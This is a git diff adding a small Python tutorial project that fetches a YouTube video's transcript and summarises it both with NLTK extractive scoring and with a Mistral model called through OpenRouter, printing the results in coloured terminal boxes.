b/web-scraping/youtube-transcript-summarizer/README.md new file mode 100644 index 00000000..a3df25a0 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/README.md @@ -0,0 +1 @@ +# [YouTube Video Transcription Summarization with Python](https://thepythoncode.com/article/youtube-video-transcription-and-summarization-with-python) \ No newline at end of file diff --git a/web-scraping/youtube-transcript-summarizer/requirements.txt b/web-scraping/youtube-transcript-summarizer/requirements.txt new file mode 100644 index 00000000..865ee3b5 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/requirements.txt @@ -0,0 +1,5 @@ +nltk +pytube +youtube_transcript_api +colorama +openai diff --git a/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py new file mode 100644 index 00000000..bdb80f54 --- /dev/null +++ b/web-scraping/youtube-transcript-summarizer/youtube_transcript_summarizer.py @@ -0,0 +1,319 @@ +import os +import sys +import nltk +import pytube +from youtube_transcript_api import YouTubeTranscriptApi +from nltk.corpus import stopwords +from nltk.tokenize import sent_tokenize, word_tokenize +from nltk.probability import FreqDist +from heapq import nlargest +from urllib.parse import urlparse, parse_qs +import textwrap +from colorama import Fore, Back, Style, init +from openai import OpenAI + +# Initialize colorama for cross-platform colored terminal output +init(autoreset=True) + +# Download necessary NLTK data +nltk.download('punkt_tab', quiet=True) +nltk.download('punkt', quiet=True) +nltk.download('stopwords', quiet=True) + +# Initialize OpenAI client from environment variable +# Expect the OpenRouter API key to be provided via OPENROUTER_API_KEY +api_key = os.getenv("OPENROUTER_API_KEY") +if not api_key: + print(Fore.RED + "Error: OPENROUTER_API_KEY environment variable is not set or is still the placeholder ('').") + sys.exit(1) +else: + client = OpenAI( + base_url="https://openrouter.ai/api/v1", + api_key=api_key, + ) + +def extract_video_id(youtube_url): + """Extract the video ID from a YouTube URL.""" + parsed_url = urlparse(youtube_url) + + if parsed_url.netloc == 'youtu.be': + return parsed_url.path[1:] + + if parsed_url.netloc in ('www.youtube.com', 'youtube.com'): + if parsed_url.path == '/watch': + return parse_qs(parsed_url.query)['v'][0] + elif parsed_url.path.startswith('/embed/'): + return parsed_url.path.split('/')[2] + elif parsed_url.path.startswith('/v/'): + return parsed_url.path.split('/')[2] + + # If no match found + raise ValueError(f"Could not extract video ID from URL: {youtube_url}") + +def get_transcript(video_id): + """Get the transcript of a YouTube video.""" + try: + youtube_transcript_api = YouTubeTranscriptApi() + fetched_transcript = youtube_transcript_api.fetch(video_id) + full_transcript = " ".join([snippet.text for snippet in fetched_transcript.snippets]) + return full_transcript.strip() + except Exception as e: + return f"Error retrieving transcript: {str(e)}." + +def summarize_text_nltk(text, num_sentences=5): + """Summarize text using frequency-based extractive summarization with NLTK.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Tokenize the text into sentences and words + sentences = sent_tokenize(text) + + # If there are fewer sentences than requested, return all sentences + if len(sentences) <= num_sentences: + return text + + # Tokenize words and remove stopwords + stop_words = set(stopwords.words('english')) + words = word_tokenize(text.lower()) + words = [word for word in words if word.isalnum() and word not in stop_words] + + # Calculate word frequencies + freq = FreqDist(words) + + # Score sentences based on word frequencies + sentence_scores = {} + for i, sentence in enumerate(sentences): + for word in word_tokenize(sentence.lower()): + if word in freq: + if i in sentence_scores: + sentence_scores[i] += freq[word] + else: + sentence_scores[i] = freq[word] + + # Get the top N sentences with highest scores + summary_sentences_indices = nlargest(num_sentences, sentence_scores, key=sentence_scores.get) + summary_sentences_indices.sort() # Sort to maintain original order + + # Construct the summary + summary = ' '.join([sentences[i] for i in summary_sentences_indices]) + return summary + +def summarize_text_ai(text, video_title, num_sentences=5): + """Summarize text using the Mistral AI model via OpenRouter.""" + if not text or text.startswith("Error") or text.startswith("Transcript not available"): + return text + + # Truncate text if it's too long (models often have token limits) + max_chars = 15000 # Adjust based on model's context window + truncated_text = text[:max_chars] if len(text) > max_chars else text + + prompt = f"""Please provide a concise summary of the following YouTube video transcript. +Title: {video_title} + +Transcript: +{truncated_text} + +Create a clear, informative summary that captures the main points and key insights from the video. +Your summary should be approximately {num_sentences} sentences long. +""" + + try: + completion = client.chat.completions.create( + model="mistralai/mistral-small-3.1-24b-instruct:free", + messages=[ + { + "role": "user", + "content": [ + { + "type": "text", + "text": prompt + } + ] + } + ] + ) + return completion.choices[0].message.content + except Exception as e: + return f"Error generating AI summary: {str(e)}" + +def summarize_youtube_video(youtube_url, num_sentences=5): + """Main function to summarize a YouTube video's transcription.""" + try: + video_id = extract_video_id(youtube_url) + transcript = get_transcript(video_id) + + # Get video title for context + try: + yt = pytube.YouTube(youtube_url) + video_title = yt.title + + except Exception as e: + video_title = "Unknown Title" + + + # Generate both summaries + print(Fore.YELLOW + f"Generating AI summary with {num_sentences} sentences...") + ai_summary = summarize_text_ai(transcript, video_title, num_sentences) + + print(Fore.YELLOW + f"Generating NLTK summary with {num_sentences} sentences...") + nltk_summary = summarize_text_nltk(transcript, num_sentences) + + return { + "video_title": video_title, + "video_id": video_id, + "ai_summary": ai_summary, + "nltk_summary": nltk_summary, + "full_transcript_length": len(transcript.split()), + "nltk_summary_length": len(nltk_summary.split()), + "ai_summary_length": len(ai_summary.split()) if not ai_summary.startswith("Error") else 0 + } + except Exception as e: + return {"error": str(e)} + +def format_time(seconds): + """Convert seconds to a readable time format.""" + hours, remainder = divmod(seconds, 3600) + minutes, seconds = divmod(remainder, 60) + + if hours > 0: + return f"{hours}h {minutes}m {seconds}s" + elif minutes > 0: + return f"{minutes}m {seconds}s" + else: + return f"{seconds}s" + +def format_number(number): + """Format large numbers with commas for readability.""" + return "{:,}".format(number) + +def print_boxed_text(text, width=80, title=None, color=Fore.WHITE): + """Print text in a nice box with optional title.""" + wrapper = textwrap.TextWrapper(width=width-4) # -4 for the box margins + wrapped_text = wrapper.fill(text) + lines = wrapped_text.split('\n') + + # Print top border with optional title + if title: + title_space = width - 4 - len(title) + left_padding = title_space // 2 + right_padding = title_space - left_padding + print(color + '┌' + '─' * left_padding + title + '─' * right_padding + '┐') + else: + print(color + '┌' + '─' * (width-2) + '┐') + + # Print content + for line in lines: + padding = width - 2 - len(line) + print(color + '│ ' + line + ' ' * padding + '│') + + # Print bottom border + print(color + '└' + '─' * (width-2) + '┘') + +def print_summary_result(result, width=80): + """Print the summary result in a nicely formatted way.""" + if "error" in result: + print_boxed_text(f"Error: {result['error']}", width=width, title="ERROR", color=Fore.RED) + return + + # Terminal width + terminal_width = width + + # Print header with video information + print("\n" + Fore.CYAN + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + result['video_title'].center(terminal_width)) + print(Fore.CYAN + "=" * terminal_width + "\n") + + # Video metadata section + print(Fore.YELLOW + Style.BRIGHT + "VIDEO INFORMATION".center(terminal_width)) + print(Fore.YELLOW + "─" * terminal_width) + + # Two-column layout for metadata + col_width = terminal_width // 2 - 2 + + # Row 3 + print(f"{Fore.GREEN}Video ID: {Fore.WHITE}{result['video_id']:<{col_width}}" + f"{Fore.GREEN}URL: {Fore.WHITE}https://youtu.be/{result['video_id']}") + + print(Fore.YELLOW + "─" * terminal_width + "\n") + + # AI Summary section + ai_compression = "N/A" + if result['ai_summary_length'] > 0: + ai_compression = round((1 - result['ai_summary_length'] / result['full_transcript_length']) * 100) + + ai_summary_title = f" AI SUMMARY ({result['ai_summary_length']} words, condensed {ai_compression}% from {result['full_transcript_length']} words) " + + print(Fore.GREEN + Style.BRIGHT + ai_summary_title.center(terminal_width)) + print(Fore.GREEN + "─" * terminal_width) + + # Print the AI summary with proper wrapping + wrapper = textwrap.TextWrapper(width=terminal_width-4, + initial_indent=' ', + subsequent_indent=' ') + + # Split AI summary into paragraphs and print each + ai_paragraphs = result['ai_summary'].split('\n') + for paragraph in ai_paragraphs: + if paragraph.strip(): # Skip empty paragraphs + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.GREEN + "─" * terminal_width + "\n") + + # NLTK Summary section + nltk_compression = round((1 - result['nltk_summary_length'] / result['full_transcript_length']) * 100) + nltk_summary_title = f" NLTK SUMMARY ({result['nltk_summary_length']} words, condensed {nltk_compression}% from {result['full_transcript_length']} words) " + + print(Fore.MAGENTA + Style.BRIGHT + nltk_summary_title.center(terminal_width)) + print(Fore.MAGENTA + "─" * terminal_width) + + # Split NLTK summary into paragraphs and wrap each + paragraphs = result['nltk_summary'].split('. ') + formatted_paragraphs = [] + + current_paragraph = "" + for sentence in paragraphs: + if not sentence.endswith('.'): + sentence += '.' + + if len(current_paragraph) + len(sentence) + 1 <= 150: # Arbitrary length for paragraph + current_paragraph += " " + sentence if current_paragraph else sentence + else: + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + current_paragraph = sentence + + if current_paragraph: + formatted_paragraphs.append(current_paragraph) + + # Print each paragraph + for paragraph in formatted_paragraphs: + print(wrapper.fill(paragraph)) + print() # Empty line between paragraphs + + print(Fore.MAGENTA + "─" * terminal_width + "\n") + + +if __name__ == "__main__": + # Get terminal width + try: + terminal_width = os.get_terminal_size().columns + # Limit width to reasonable range + terminal_width = max(80, min(terminal_width, 120)) + except: + terminal_width = 80 # Default if can't determine + + # Print welcome banner + print(Fore.CYAN + Style.BRIGHT + "\n" + "=" * terminal_width) + print(Fore.CYAN + Style.BRIGHT + "YOUTUBE VIDEO SUMMARIZER".center(terminal_width)) + print(Fore.CYAN + Style.BRIGHT + "=" * terminal_width + "\n") + + youtube_url = input(Fore.GREEN + "Enter YouTube video URL: " + Fore.WHITE) + + num_sentences_input = input(Fore.GREEN + "Enter number of sentences for summaries (default 5): " + Fore.WHITE) + num_sentences = int(num_sentences_input) if num_sentences_input.strip() else 5 + + print(Fore.YELLOW + "\nFetching and analyzing video transcript... Please wait...\n") + + result = summarize_youtube_video(youtube_url, num_sentences) + print_summary_result(result, width=terminal_width)